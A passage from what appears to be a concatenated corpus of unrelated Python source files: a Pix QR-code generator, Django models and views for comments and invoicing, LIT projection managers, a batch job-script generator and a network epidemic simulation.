self.zipcode_receiver = None self.identification = None self.description = None self.default_url_pix = None self.qr = None def set_default_url_pix(self, default_url_pix=None): self.default_url_pix = default_url_pix.replace('https://', '') def set_key(self, key=None): self.key = key def set_zipcode_receiver(self, zipcode=None): self.zipcode_receiver = zipcode def set_name_receiver(self, name=None): if len(name) > 25: print('The maximum number of characters for the receiver name is 25') sys.exit() self.name_receiver = name def set_identification(self, identification=None): self.identification = identification def set_description(self, description=None): self.description = description def set_city_receiver(self, city=None): if len(city) > 15: print('The maximum number of characters for the receiver city is 15.') sys.exit() self.city_receiver = city def set_amount(self, value=None): if len(str("{0:.2f}".format(value))) > 13: print('The maximum number of characters for the value is 13.') sys.exit() self.amount = "{0:.2f}".format(value) def is_single_transaction(self, single_transaction=None): self.single_transaction = single_transaction def get_br_code(self): result_string = f"{get_value('00', '01')}" \ f"{get_value('01', '12' if self.single_transaction else '11')}" \ f"{self.get_account_information()}" \ f"{get_value('52', '0000')}" \ f"{get_value('53', '986')}" \ f"{get_value('54', str(self.amount))}" \ f"{get_value('58', 'BR')}" \ f"{get_value('59', formatted_text(self.name_receiver))}" \ f"{get_value('60', formatted_text(self.city_receiver))}" \ f"{get_value('61', formatted_text(self.zipcode_receiver)) if self.zipcode_receiver else ''}" \ f"{self.get_additional_data_field()}" \ f"6304" return result_string + crc_compute(result_string) def get_account_information(self): base_pix = get_value('00', 'br.gov.bcb.pix') info_string = '' if self.key: if len(self.key) == 11: if validate_cpf(self.key): self.key = self.key elif validate_phone(self.key): self.key = f'+55{self.key}' info_string += get_value('01', self.key) elif self.default_url_pix: info_string += get_value('25', self.default_url_pix) else: print('You must enter a URL or a pix key.') sys.exit() if self.description: info_string += get_value('02', formatted_text(self.description)) return get_value('26', f'{base_pix}{info_string}') def get_additional_data_field(self): if self.identification: return get_value('62', get_value('05', formatted_text(self.identification))) else: return get_value('62', get_value('05', '***')) def save_qrcode(self, output='./qrcode.png', color='black', custom_logo=None, **kwargs): try: self.qr = get_qrcode(**kwargs) self.qr.add_data(self.get_br_code()) self.qr.make(fit=True) img = self.qr.make_image(fill_color=color, back_color='white').convert("RGB") img.save(output) if custom_logo: img = qr_logo(custom_logo, qr_code=img, out='/'.join(output.split('/')[:-1])) return base64_qrcode(img) except ValueError: return False def get_qrcode_artistic(self, picture, version=None, colorized=True, output=None, fill=None): try: version, level, qr_name = amzqr.run( self.get_br_code(), version=version if version else 1, level='H', picture=picture, colorized=colorized, contrast=fill['contrast'] if fill else 1.0, brightness=fill['brightness'] if fill else 1.0, save_name=output if output else './artistic.gif', save_dir=os.getcwd() ) print(f"Success in saving artistic QR-code.") print(version, level, qr_name) except ValueError: print('Error saving QR-code.') sys.exit() def qr_ascii(self): return self.qr.print_ascii()
StarcoderdataPython
3509022
def ObserverProxy(method_names): class Proxy: def __init__(self): self._observers = [] def add_observer(self, observer): self._observers.append(observer) def remove_observer(self, observer): self._observers.remove(observer) def create_method_proxy(method_name): def method_proxy(self, *args, **kwargs): for observer in self._observers: getattr(observer, method_name)(*args, **kwargs) return method_proxy for method_name in method_names: setattr(Proxy, method_name, create_method_proxy(method_name)) return Proxy() if __name__ == "__main__": # usage example output_proxy = ObserverProxy(["write", "close"]) import sys output_proxy.add_observer(sys.stdout) output_proxy.add_observer(sys.stderr) output_proxy.add_observer(file("somefile", "w")) print >>output_proxy, "This goes to all observers" output_proxy.close()
StarcoderdataPython
52603
<filename>pydis_site/constants.py import os GIT_SHA = os.environ.get("GIT_SHA", "development") GITHUB_TOKEN = os.environ.get("GITHUB_TOKEN") # How long to wait for synchronous requests before timing out TIMEOUT_PERIOD = int(os.environ.get("TIMEOUT_PERIOD", 5))
StarcoderdataPython
195532
<reponame>gabinguo/bbx import json import random import argparse def read_filename(filename=""): with open(filename, 'r') as f: queries = json.load(f)["data"] return queries def sample_from_large_dataset(queries, count=2000): sample_size = min(len(queries[:count]), count) return random.sample(queries, count) if __name__ == "__main__": random.seed = 42 parser = argparse.ArgumentParser() parser.add_argument("--filename", type=str, help="Path to the filename to sample.") parser.add_argument("--output_filename", type=str, default="sampled_ds.json", help="Path to output sampled dataset.") args = parser.parse_args() queries = read_filename(args.filename) sampled_queries = sample_from_large_dataset(queries, 2000) with open(f"./{args.output_filename}", 'w') as f: json.dump({"version": "sampled_dataset", "data": sampled_queries}, f)
StarcoderdataPython
225058
<reponame>tavor118/pythonjunior from django import template from .. import models register = template.Library() @register.simple_tag def get_submenu(): """ Return items for submenu """ submenu = models.MainCategory.objects.all() return submenu @register.simple_tag def get_tags(): """ Return tags for tag bar """ tag_bar = models.Tag.objects.all() return tag_bar
StarcoderdataPython
6524476
# Copyright 2020 Google LLC # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # ============================================================================== # Lint as: python3 """Server-side dimensionality-reduction implementation. This file implements machinery to manage dimensionality reduction models, such as UMAP or PCA. Unlike most other LIT components, these projections need to be learned on a particular dataset. This can take from a few seconds to a few minutes, so for interactive use we want to cache both the projection and the projected datapoints. We implement this two-level caching with three classes: - ProjectorModel simply wraps the projection model into a LIT Model, and provides training methods. - ProjectionInterpreter implements the LIT Interpreter interface, and provides example-level caching. - ProjectionManager implements the LIT Interpreter interface, and provides config-based caching of ProjectionInterpreter instances. In most cases, the LIT server should interface with ProjectionManager so that new configurations can be explored interactively (at the cost of re-training projections). """ import abc import copy import threading from typing import Any, Dict, List, Text, Optional, Hashable, Iterable, Type, Sequence from absl import logging from lit_nlp.api import components as lit_components from lit_nlp.api import dataset as lit_dataset from lit_nlp.api import model as lit_model from lit_nlp.api import types from lit_nlp.lib import caching JsonDict = types.JsonDict IndexedInput = types.IndexedInput Spec = types.Spec class ProjectorModel(lit_model.Model, metaclass=abc.ABCMeta): """LIT model API implementation for dimensionality reduction.""" ## # Training methods @abc.abstractmethod def fit_transform(self, inputs: Iterable[JsonDict]) -> List[JsonDict]: return def fit_transform_with_metadata(self, indexed_inputs) -> List[JsonDict]: return self.fit_transform((i["data"] for i in indexed_inputs)) ## # LIT model API def input_spec(self): # 'x' denotes input features return {"x": types.Embeddings()} def output_spec(self): # 'z' denotes projected embeddings return {"z": types.Embeddings()} @abc.abstractmethod def predict_minibatch(self, inputs: Iterable[JsonDict], **unused_kw) -> List[JsonDict]: return def max_minibatch_size(self, **unused_kw): return 1000 class ProjectionInterpreter(lit_components.Interpreter): """Interpreter API implementation for dimensionality reduction model.""" def __init__(self, model: lit_model.Model, indexed_inputs: Sequence[IndexedInput], model_outputs: Optional[List[JsonDict]], projector: ProjectorModel, field_name: Text, name: Text): self._projector = caching.CachingModelWrapper(projector, name=name) self._field_name = field_name # Train on the given examples self._run(model, indexed_inputs, model_outputs, do_fit=True) def convert_input(self, indexed_input: JsonDict, model_output: JsonDict) -> JsonDict: """Convert inputs, preserving metadata.""" c = copy.copy(indexed_input) # shallow copy c["data"] = {"x": model_output[self._field_name]} return c def _run(self, model: lit_model.Model, indexed_inputs: Sequence[IndexedInput], model_outputs: Optional[List[JsonDict]] = None, do_fit=False): # Run model, if needed. if model_outputs is None: model_outputs = list(model.predict(indexed_inputs)) assert len(model_outputs) == len(indexed_inputs) converted_inputs = list( map(self.convert_input, indexed_inputs, model_outputs)) if do_fit: return self._projector.fit_transform_with_metadata( converted_inputs, dataset_name="") else: return self._projector.predict_with_metadata( converted_inputs, dataset_name="") def run_with_metadata(self, indexed_inputs: Sequence[IndexedInput], model: lit_model.Model, dataset: lit_dataset.Dataset, model_outputs: Optional[List[JsonDict]] = None, config: Dict[Text, Any] = None): del config # unused - configure in constructor instead del dataset # unused - pass examples to constructor instead return self._run(model, indexed_inputs, model_outputs, do_fit=False) def _key_from_dict(d) -> Hashable: """Convert nested dict into a frozen, hashable structure usable as a key.""" if isinstance(d, dict): return frozenset((k, _key_from_dict(v)) for k, v in d.items()) elif isinstance(d, (list, tuple)): return tuple(map(_key_from_dict, d)) else: return d class ProjectionManager(lit_components.Interpreter): """Manager for multiple ProjectionInterpreter instances. Presents a standard "Interpreter" interface so that client code can treat this as an ordinary stateless component. The config is used to uniquely identify the projection instance, and a new instance is created and fit if not found. Config must contain the following fields: - field_name: name of embedding field (in model output) - (recommended) dataset_name: used for model cache - (optional) proj_kw: config for the underlying ProjectorModel We also recommend including the model name and dataset name in the key, but this is not explicitly enforced. """ def __init__(self, model_class: Type[ProjectorModel]): self._lock = threading.RLock() self._instances = {} # Used to construct new instances, given config['proj_kw'] self._model_factory = model_class def _train_instance(self, model: lit_model.Model, dataset: lit_dataset.IndexedDataset, config: JsonDict, name: Text) -> ProjectionInterpreter: # Ignore pytype warning about abstract methods, since this should always # be a subclass of ProjectorModel which has these implemented. projector = self._model_factory(**config.get("proj_kw", {})) # pytype: disable=not-instantiable train_inputs = dataset.indexed_examples # TODO(lit-dev): remove 'dataset_name' from caching logic so we don't need # to track it here or elsewhere. train_outputs = list( model.predict_with_metadata( train_inputs, dataset_name=config.get("dataset_name"))) logging.info("Creating new projection instance on %d points", len(train_inputs)) return ProjectionInterpreter( model, train_inputs, train_outputs, projector=projector, field_name=config["field_name"], name=name) def run_with_metadata(self, *args, **kw): # UMAP code is not threadsafe and will throw # strange 'index-out-of-bounds' errors if multiple instances are accessed # concurrently. with self._lock: return self._run_with_metadata(*args, **kw) def _run_with_metadata(self, indexed_inputs: Sequence[IndexedInput], model: lit_model.Model, dataset: lit_dataset.IndexedDataset, model_outputs: Optional[List[JsonDict]] = None, config: Dict[Text, Any] = None): instance_key = _key_from_dict(config) logging.info("Projection request: instance key: %s", instance_key) # Fit a new instance if necessary if instance_key not in self._instances: self._instances[instance_key] = self._train_instance( model, dataset, config, name=str(instance_key)) proj_instance = self._instances[instance_key] # If projector was just trained, points should be cached. return proj_instance.run_with_metadata(indexed_inputs, model, dataset, model_outputs)
StarcoderdataPython
260483
#!/usr/bin/env python # -*- coding: utf-8 -*- ''' utils.py (c) <NAME> 12 December, 2015 Utility functions. ''' from __future__ import absolute_import from fsed.compat import PY3, string_type import sys def open_file(filename, mode='rb'): """ Opens a file for access with the given mode. This function transparently wraps gzip and xz files as well as normal files. You can also open zip files using syntax like: f = utils.open_file('../semcor-parsed.zip:semcor000.txt') """ if (('r' not in mode or hasattr(filename, 'read')) and (('a' not in mode and 'w' not in mode) or hasattr(filename, 'write')) and hasattr(filename, '__iter__')): return filename elif isinstance(filename, string_type): if filename == '-' and 'r' in mode: if PY3: return sys.stdin.buffer return sys.stdin elif filename == '-' and ('w' in mode or 'a' in mode): if PY3: return sys.stdout.buffer return sys.stdout if filename.lower().count('.zip:'): assert 'r' in mode assert filename.count(':') == 1 import zipfile zipped_file = zipfile.ZipFile(filename.split(':')[0]) unzipped_file = zipped_file.open(filename.split(':')[1], 'r') zipped_file.close() return unzipped_file elif filename.lower().endswith('.gz'): import gzip return gzip.open(filename, mode) elif filename.lower().endswith('.xz'): import lzma tmp = lzma.LZMAFile(filename, mode) dir(tmp) return tmp else: return open(filename, mode) else: raise Exception('Unknown type for argument filename')
StarcoderdataPython
3453511
<reponame>KM3NeT/km3pipe # Filename: shell.py # pylint: disable=C0103 """ Some shell helpers """ import os import subprocess from .tools import lstrip from .logger import get_logger from subprocess import DEVNULL # py3k __author__ = "<NAME>" __copyright__ = "Copyright 2016, Tamas Gal and the KM3NeT collaboration." __credits__ = [] __license__ = "MIT" __maintainer__ = "<NAME>" __email__ = "<EMAIL>" __status__ = "Development" log = get_logger(__name__) # pylint: disable=C0103 JOB_TEMPLATES = { "in2p3": lstrip( """ #$ -N {job_name} #$ -M {email} ## Send mail at: start (b), completion (e), never (n) #$ -m {send_mail} #$ -j y #$ -o {log_path}/{job_name}{task_name}.log #$ -l os={platform} #$ -P P_{group} #$ -S {shell} {job_array_option} # ## Walltime (HH:MM:SS), for different batch systems (IN2P3, ECAP, ...) #$ -l ct={walltime} #$ -l h_cpu={cpu} #$ -l s_cpu={cpu} ## Memory (Units: G, M, K, B; Min 64M) #$ -l vmem={vmem} ## Local scratch diskspace (at TMPDIR) #$ -l fsize={fsize} # ## Extra Resources #$ -l irods={irods:d} #$ -l sps={sps:d} #$ -l hpss={hpss:d} #$ -l xrootd={xrootd:d} #$ -l dcache={dcache:d} #$ -l oracle={oracle:d} echo "========================================================" echo "Job started on" $(date) echo "========================================================" {script} echo "========================================================" echo "JAWOLLJA! Job exited on" $(date) echo "========================================================" """ ), "woody": lstrip( """ #PBS -N {job_name} #PBS -M {email} -m a #PBS -o {log_path}/{job_name}{task_name}.out.log #PBS -e {log_path}/{job_name}{task_name}.err.log #PBS -l nodes={nodes}:ppn={ppn}{node_type} #PBS -l walltime={walltime} echo "========================================================" echo "Job started on" $(date) echo "========================================================" {script} echo "========================================================" echo "JAWOLLJA! Job exited on" $(date) echo "========================================================" """ ), } def qsub(script, job_name, dryrun=False, silent=False, *args, **kwargs): """Submit a job via qsub. Returns the job script as string. """ if not silent: print("Preparing job script...") job_string = gen_job(script=script, job_name=job_name, *args, **kwargs) env = os.environ.copy() if dryrun: print( "This is a dry run! Here is the generated job file, which will " "not be submitted:" ) print(job_string) else: if not silent: print("Calling qsub with the generated job script.") out_pipe = subprocess.PIPE else: out_pipe = DEVNULL p = subprocess.Popen( "qsub -V", stdin=subprocess.PIPE, env=env, shell=True, stdout=out_pipe ) p.communicate(input=bytes(job_string.encode("ascii"))) return job_string def gen_job( script, job_name, log_path="qlogs", group="km3net", platform="cl7", walltime="00:10:00", nodes=1, ppn=4, node_type=None, cpu=None, cluster="in2p3", vmem="8G", fsize="8G", shell=None, email=None, send_mail="n", job_array_start=1, job_array_stop=None, job_array_step=1, irods=False, sps=True, hpss=False, xrootd=False, dcache=False, oracle=False, split_array_logs=False, ): """Generate a job script.""" if shell is None: shell = os.environ["SHELL"] if email is None: email = os.environ["USER"] + "@km3net.de" if cpu is None: cpu = walltime if isinstance(script, Script): script = str(script) log_path = os.path.abspath(log_path) if job_array_stop is not None: job_array_option = "#$ -t {}-{}:{}".format( job_array_start, job_array_stop, job_array_step ) else: job_array_option = "#" if split_array_logs: task_name = "_$TASK_ID" else: task_name = "" if node_type is not None: node_type = ":" + str(node_type) else: node_type = "" job_string = JOB_TEMPLATES[cluster].format( script=script, email=email, send_mail=send_mail, log_path=log_path, job_name=job_name, group=group, walltime=walltime, cpu=cpu, vmem=vmem, fsize=fsize, irods=irods, sps=sps, hpss=hpss, xrootd=xrootd, dcache=dcache, oracle=oracle, shell=shell, platform=platform, job_array_option=job_array_option, task_name=task_name, nodes=nodes, ppn=ppn, node_type=node_type, ) return job_string def get_jpp_env(jpp_dir): """Return the environment dict of a loaded Jpp env. The returned env can be passed to `subprocess.Popen("J...", env=env)` to execute Jpp commands. """ env = { v[0]: "".join(v[1:]) for v in [ l.split("=") for l in os.popen("source {0}/setenv.sh {0} && env".format(jpp_dir)) .read() .split("\n") if "=" in l ] } return env class Script(object): """A shell script which can be built line by line for `qsub`.""" def __init__(self): self.lines = [] def add(self, line): """Add a new line""" self.lines.append(line) def echo(self, text): """Add an echo command. The given text will be double qouted.""" self.lines.append('echo "{}"'.format(text)) def separator(self, character="=", length=42): """Add a visual separator.""" self.echo(character * length) def cp(self, source, target): """Add a new copy instruction""" self._add_two_argument_command("cp", source, target) def mv(self, source, target): """Add a new move instruction""" self._add_two_argument_command("mv", source, target) def mkdir(self, folder_path): """Add a new 'mkdir -p' instruction""" self.add('mkdir -p "{}"'.format(folder_path)) def iget(self, irods_path, attempts=1, pause=15): """Add an iget command to retrieve a file from iRODS. Parameters ---------- irods_path: str Filepath which should be fetched using iget attempts: int (default: 1) Number of retries, if iRODS access fails pause: int (default: 15) Pause between two access attempts in seconds """ if attempts > 1: cmd = """ for i in {{1..{0}}}; do ret=$(iget -v {1} 2>&1) echo $ret if [[ $ret == *"ERROR"* ]]; then echo "Attempt $i failed" else break fi sleep {2}s done """ cmd = lstrip(cmd) cmd = cmd.format(attempts, irods_path, pause) self.add(cmd) else: self.add('iget -v "{}"'.format(irods_path)) def _add_two_argument_command(self, command, arg1, arg2): """Helper function for two-argument commands""" self.lines.append("{} {} {}".format(command, arg1, arg2)) def clear(self): self.lines = [] def __add__(self, other): new_script = Script() new_script.lines = self.lines + other.lines return new_script def __str__(self): return "\n".join(self.lines) def __repr__(self): return "# Shell script\n" + str(self)
StarcoderdataPython
8041614
import tacoma as tc from tacoma.drawing import draw_edges from tacoma.analysis import temporal_network_group_analysis import matplotlib.pyplot as pl from tacoma.model_conversions import estimate_ZSBB_args from tacoma.model_conversions import estimate_flockwork_P_args from tacoma.model_conversions import estimate_dynamic_RGG_args import time import numpy as np # ======== get original network ============= socio = tc.load_json_taco("~/.tacoma/dtu_1_weeks.taco") socio_binned = tc.bin(socio,dt=300) socio_result = tc.measure_group_sizes_and_durations(socio) # ============== generate surrogate network from flockwork_P model ============== fwP_params = estimate_flockwork_P_args(socio_binned,dt=3600.,aggregated_network=socio_result.aggregated_network) fwP = tc.flockwork_P_varying_rates_neighbor_affinity(**fwP_params) fwP_params = estimate_flockwork_P_args(socio_binned,dt=3600.) fwP = tc.flockwork_P_varying_rates(**fwP_params) fwP_binned = tc.bin(fwP,dt=300) N = fwP.N R0 = 2.0 rho = 1.0 / (3*24*3600.) dt = 3600. t_simulation = 4*fwP.tmax t_sample = np.arange(int(t_simulation / dt)+1,dtype=float) * dt N_meas = 30 fig, ax = pl.subplots(1,3,figsize=(12,4)) for tn in [socio, fwP, fwP_binned]: start = time.time() t, k = np.array(tc.mean_degree(tn)) end = time.time() print("took", end-start, "seconds") line, = ax[0].step(t,k,where='post',lw=1) mean_k = tc.time_average(t, k) print(mean_k) eta = R0 * rho / mean_k i_sample = np.zeros_like(t_sample) successful = 0 for meas in range(N_meas): sis = tc.SIS(N, t_simulation, eta, rho, number_of_initially_infected = 10) tc.gillespie_SIS(tn, sis) t = np.array(sis.time) i = np.array(sis.I,dtype=float) / N this_sample = tc.sample_a_function(t,i,t_sample) if this_sample[-1] > 0.0: successful += 1 i_sample += this_sample ax[2].plot(t_sample,this_sample,c=line.get_color(),alpha=0.1) ax[1].plot(t_sample,i_sample/successful) pl.show()
StarcoderdataPython
3354080
import datetime import decimal import uuid from dateutil.relativedelta import relativedelta from django.db import transaction from django.db.models import Sum from django.http import HttpResponse from django.utils.translation import ugettext_lazy as _ from django_filters.rest_framework import DjangoFilterBackend from rest_framework import exceptions, status from rest_framework.decorators import action from rest_framework.response import Response from waldur_core.core import validators as core_validators from waldur_core.core import views as core_views from waldur_core.structure import filters as structure_filters from waldur_core.structure import models as structure_models from waldur_core.structure import permissions as structure_permissions from waldur_mastermind.common.utils import quantize_price from . import filters, log, models, serializers, tasks, utils class InvoiceViewSet(core_views.ReadOnlyActionsViewSet): queryset = models.Invoice.objects.order_by('-year', '-month') serializer_class = serializers.InvoiceSerializer lookup_field = 'uuid' filter_backends = ( structure_filters.GenericRoleFilter, structure_filters.CustomerAccountingStartDateFilter, DjangoFilterBackend, ) filterset_class = filters.InvoiceFilter def _is_invoice_created(invoice): if invoice.state != models.Invoice.States.CREATED: raise exceptions.ValidationError( _('Notification only for the created invoice can be sent.') ) @action(detail=True, methods=['post']) def send_notification(self, request, uuid=None): invoice = self.get_object() tasks.send_invoice_notification.delay(invoice.uuid.hex) return Response( { 'detail': _( 'Invoice notification sending has been successfully scheduled.' ) }, status=status.HTTP_200_OK, ) send_notification_permissions = [structure_permissions.is_staff] send_notification_validators = [_is_invoice_created] @action(detail=True) def pdf(self, request, uuid=None): invoice = self.get_object() file = utils.create_invoice_pdf(invoice) file_response = HttpResponse(file, content_type='application/pdf') filename = invoice.get_filename() file_response[ 'Content-Disposition' ] = 'attachment; filename="{filename}"'.format(filename=filename) return file_response @transaction.atomic @action(detail=True, methods=['post']) def paid(self, request, uuid=None): invoice = self.get_object() if request.data: serializer = serializers.PaidSerializer(data=request.data) serializer.is_valid(raise_exception=True) try: profile = models.PaymentProfile.objects.get( is_active=True, organization=invoice.customer ) except models.PaymentProfile.DoesNotExist: raise exceptions.ValidationError( _('The active profile for this customer does not exist.') ) payment = models.Payment.objects.create( date_of_payment=serializer.validated_data['date'], sum=invoice.total_current, profile=profile, invoice=invoice, ) proof = serializer.validated_data.get('proof') if proof: payment.proof = proof payment.save() log.event_logger.invoice.info( 'Payment for invoice ({month}/{year}) has been added."', event_type='payment_created', event_context={ 'month': invoice.month, 'year': invoice.year, 'customer': invoice.customer, }, ) invoice.state = models.Invoice.States.PAID invoice.save(update_fields=['state']) return Response(status=status.HTTP_200_OK) paid_permissions = [structure_permissions.is_staff] paid_validators = [core_validators.StateValidator(models.Invoice.States.CREATED)] @action(detail=True) def stats(self, request, uuid=None): invoice = self.get_object() offerings = {} for item in invoice.items.all(): if not item.resource: continue resource = item.resource offering = resource.offering customer = offering.customer service_category_title = offering.category.title service_provider_name = customer.name service_provider_uuid = customer.serviceprovider.uuid.hex if offering.uuid.hex not in offerings.keys(): offerings[offering.uuid.hex] = { 'offering_name': offering.name, 'aggregated_cost': item.total, 'service_category_title': service_category_title, 'service_provider_name': service_provider_name, 'service_provider_uuid': service_provider_uuid, } else: offerings[offering.uuid.hex]['aggregated_cost'] += item.total queryset = [dict(uuid=key, **details) for (key, details) in offerings.items()] for item in queryset: item['aggregated_cost'] = quantize_price( decimal.Decimal(item['aggregated_cost']) ) page = self.paginate_queryset(queryset) return self.get_paginated_response(page) @action(detail=False) def growth(self, request): if not self.request.user.is_staff and not request.user.is_support: raise exceptions.PermissionDenied() customers = structure_models.Customer.objects.all() customers = structure_filters.AccountingStartDateFilter().filter_queryset( request, customers, self ) customers_count = 4 if 'customers_count' in request.query_params: try: customers_count = int(request.query_params['customers_count']) except ValueError: raise exceptions.ValidationError('customers_count is not a number') if customers_count > 20: raise exceptions.ValidationError( 'customers_count should not be greater than 20' ) is_accounting_mode = request.query_params.get('accounting_mode') == 'accounting' today = datetime.date.today() current_month = today - relativedelta(months=12) majors = list( models.Invoice.objects.filter( customer__in=customers, created__gte=current_month ) .values('customer_id') .annotate(total=Sum('current_cost')) .order_by('-total') .values_list('customer_id', flat=True)[:customers_count] ) minors = customers.exclude(id__in=majors) customer_periods = {} total_periods = {} other_periods = {} for i in range(13): invoices = models.Invoice.objects.filter( year=current_month.year, month=current_month.month, ) key = f'{current_month.year}-{current_month.month}' row = customer_periods[key] = {} subtotal = 0 for invoice in invoices.filter(customer_id__in=majors): value = is_accounting_mode and invoice.price or invoice.total subtotal += value row[invoice.customer.uuid.hex] = value other_periods[key] = sum( is_accounting_mode and invoice.price or invoice.total for invoice in invoices.filter(customer_id__in=minors) ) total_periods[key] = subtotal + other_periods[key] current_month += relativedelta(months=1) result = { 'periods': total_periods.keys(), 'total_periods': total_periods.values(), 'other_periods': other_periods.values(), 'customer_periods': [ { 'name': customer.name, 'periods': [ customer_periods[period].get(customer.uuid.hex, 0) for period in total_periods.keys() ], } for customer in structure_models.Customer.objects.filter(id__in=majors) ], } return Response(result, status=status.HTTP_200_OK) @action(detail=True, methods=['post']) def set_backend_id(self, request, uuid=None): invoice = self.get_object() serializer = self.get_serializer(data=request.data) serializer.is_valid(raise_exception=True) backend_id = serializer.validated_data['backend_id'] invoice.backend_id = backend_id invoice.save() return Response(status=status.HTTP_200_OK) set_backend_id_permissions = [structure_permissions.is_staff] set_backend_id_serializer_class = serializers.BackendIdSerializer class InvoiceItemViewSet(core_views.ActionsViewSet): disabled_actions = ['create'] queryset = models.InvoiceItem.objects.all() serializer_class = serializers.InvoiceItemDetailSerializer lookup_field = 'uuid' def get_queryset(self): qs = super().get_queryset() if self.request.user.is_staff: return qs else: return qs.none() @transaction.atomic @action(detail=True, methods=['post']) def create_compensation(self, request, **kwargs): invoice_item = self.get_object() serializer = self.get_serializer_class()(data=request.data) serializer.is_valid(raise_exception=True) offering_component_name = serializer.validated_data['offering_component_name'] if invoice_item.unit_price < 0: return Response( 'Can not create compensation for invoice item with negative unit price.', status=status.HTTP_400_BAD_REQUEST, ) year, month = utils.get_current_year(), utils.get_current_month() invoice, _ = models.Invoice.objects.get_or_create( customer=invoice_item.invoice.customer, month=month, year=year, ) # Fill new invoice item details if not invoice_item.details: invoice_item.details = {} invoice_item.details['original_invoice_item_uuid'] = invoice_item.uuid.hex invoice_item.details['offering_component_name'] = offering_component_name # Save new invoice item to database invoice_item.invoice = invoice invoice_item.pk = None invoice_item.uuid = uuid.uuid4() invoice_item.unit_price *= -1 invoice_item.save() return Response( {'invoice_item_uuid': invoice_item.uuid.hex}, status=status.HTTP_201_CREATED, ) create_compensation_serializer_class = serializers.InvoiceItemCompensationSerializer update_serializer_class = serializers.InvoiceItemUpdateSerializer partial_update_serializer_class = serializers.InvoiceItemUpdateSerializer create_compensation_permissions = ( update_permissions ) = partial_update_permissions = destroy_permissions = [ structure_permissions.is_staff ] class PaymentProfileViewSet(core_views.ActionsViewSet): lookup_field = 'uuid' filter_backends = ( structure_filters.GenericRoleFilter, DjangoFilterBackend, filters.PaymentProfileFilterBackend, ) filterset_class = filters.PaymentProfileFilter create_permissions = ( update_permissions ) = partial_update_permissions = destroy_permissions = enable_permissions = [ structure_permissions.is_staff ] queryset = models.PaymentProfile.objects.all().order_by('name') serializer_class = serializers.PaymentProfileSerializer @action(detail=True, methods=['post']) def enable(self, request, uuid=None): profile = self.get_object() profile.is_active = True profile.save(update_fields=['is_active']) return Response( {'detail': _('Payment profile has been enabled.')}, status=status.HTTP_200_OK, ) class PaymentViewSet(core_views.ActionsViewSet): lookup_field = 'uuid' filter_backends = ( structure_filters.GenericRoleFilter, DjangoFilterBackend, ) filterset_class = filters.PaymentFilter create_permissions = ( update_permissions ) = ( partial_update_permissions ) = ( destroy_permissions ) = link_to_invoice_permissions = unlink_from_invoice_permissions = [ structure_permissions.is_staff ] queryset = models.Payment.objects.all().order_by('created') serializer_class = serializers.PaymentSerializer @action(detail=True, methods=['post']) def link_to_invoice(self, request, uuid=None): payment = self.get_object() serializer = self.get_serializer_class()(data=request.data) serializer.is_valid(raise_exception=True) invoice = serializer.validated_data['invoice'] if invoice.customer != payment.profile.organization: raise exceptions.ValidationError( _('The passed invoice does not belong to the selected customer.') ) payment.invoice = invoice payment.save(update_fields=['invoice']) log.event_logger.invoice.info( 'Payment for invoice ({month}/{year}) has been added.', event_type='payment_created', event_context={ 'month': invoice.month, 'year': invoice.year, 'customer': invoice.customer, }, ) return Response( {'detail': _('An invoice has been linked to payment.')}, status=status.HTTP_200_OK, ) def _link_to_invoice_exists(payment): if payment.invoice: raise exceptions.ValidationError(_('Link to an invoice exists.')) link_to_invoice_validators = [_link_to_invoice_exists] link_to_invoice_serializer_class = serializers.LinkToInvoiceSerializer def _link_to_invoice_does_not_exist(payment): if not payment.invoice: raise exceptions.ValidationError(_('Link to an invoice does not exist.')) @action(detail=True, methods=['post']) def unlink_from_invoice(self, request, uuid=None): payment = self.get_object() invoice = payment.invoice payment.invoice = None payment.save(update_fields=['invoice']) log.event_logger.invoice.info( 'Payment for invoice ({month}/{year}) has been removed.', event_type='payment_removed', event_context={ 'month': invoice.month, 'year': invoice.year, 'customer': invoice.customer, }, ) return Response( {'detail': _('An invoice has been unlinked from payment.')}, status=status.HTTP_200_OK, ) unlink_from_invoice_validators = [_link_to_invoice_does_not_exist] def perform_create(self, serializer): super(PaymentViewSet, self).perform_create(serializer) payment = serializer.instance log.event_logger.payment.info( 'Payment for {customer_name} in the amount of {amount} has been added.', event_type='payment_added', event_context={ 'amount': payment.sum, 'customer': payment.profile.organization, }, ) def perform_destroy(self, instance): customer = instance.profile.organization amount = instance.sum super(PaymentViewSet, self).perform_destroy(instance) log.event_logger.payment.info( 'Payment for {customer_name} in the amount of {amount} has been removed.', event_type='payment_removed', event_context={'amount': amount, 'customer': customer,}, )
StarcoderdataPython
11388210
# This file is generated by setup.py. DO NOT EDIT! from __future__ import absolute_import from __future__ import division from __future__ import print_function from __future__ import unicode_literals from .onnx_operators_onnx_torch_ml_pb2 import * # noqa
StarcoderdataPython
165451
from django.contrib.postgres.fields import ArrayField from django.db import models from bumblebee.buzzes.models import Buzz, Rebuzz from bumblebee.users.models import CustomUser class IdDateField(models.Model): """ """ userid = models.PositiveIntegerField() date = models.DateTimeField() class AbstractComment(models.Model): """ """ commenter = models.ForeignKey( CustomUser, related_name="comment_user", on_delete=models.CASCADE ) created_date = models.DateTimeField(auto_now_add=True) edited_date = models.DateTimeField(auto_now=True) edited = models.BooleanField(default=False) content = models.TextField(max_length=1000, blank=False, null=False) image = models.ImageField(upload_to="comments/image", blank=True, null=True) flair = ArrayField(models.CharField(max_length=100), blank=True, null=True) parent_buzz = models.ForeignKey( Buzz, related_name="buzz_comment", null=True, blank=True, db_index=True, on_delete=models.CASCADE, ) parent_rebuzz = models.ForeignKey( Rebuzz, related_name="rebuzz_comment", null=True, blank=True, db_index=True, on_delete=models.CASCADE, ) sentiment_value = models.FloatField(null=True, blank=True) textblob_value = models.FloatField(null=True, blank=True) class Meta: abstract = True def __str__(self): return self.content class Comment(AbstractComment): """ """ level = models.PositiveIntegerField(blank=False, default=1) parent_comment = models.PositiveIntegerField( null=True, blank=True, db_index=True, default=None ) def __str__(self): return self.content class CommentInteractions(models.Model): """ """ comment = models.OneToOneField( Comment, related_name="comment_interaction", blank=False, null=False, on_delete=models.CASCADE, ) upvotes = ArrayField( models.PositiveIntegerField(blank=False), blank=True, default=list ) downvotes = ArrayField( models.PositiveIntegerField(blank=False), blank=True, default=list ) replies = ArrayField( 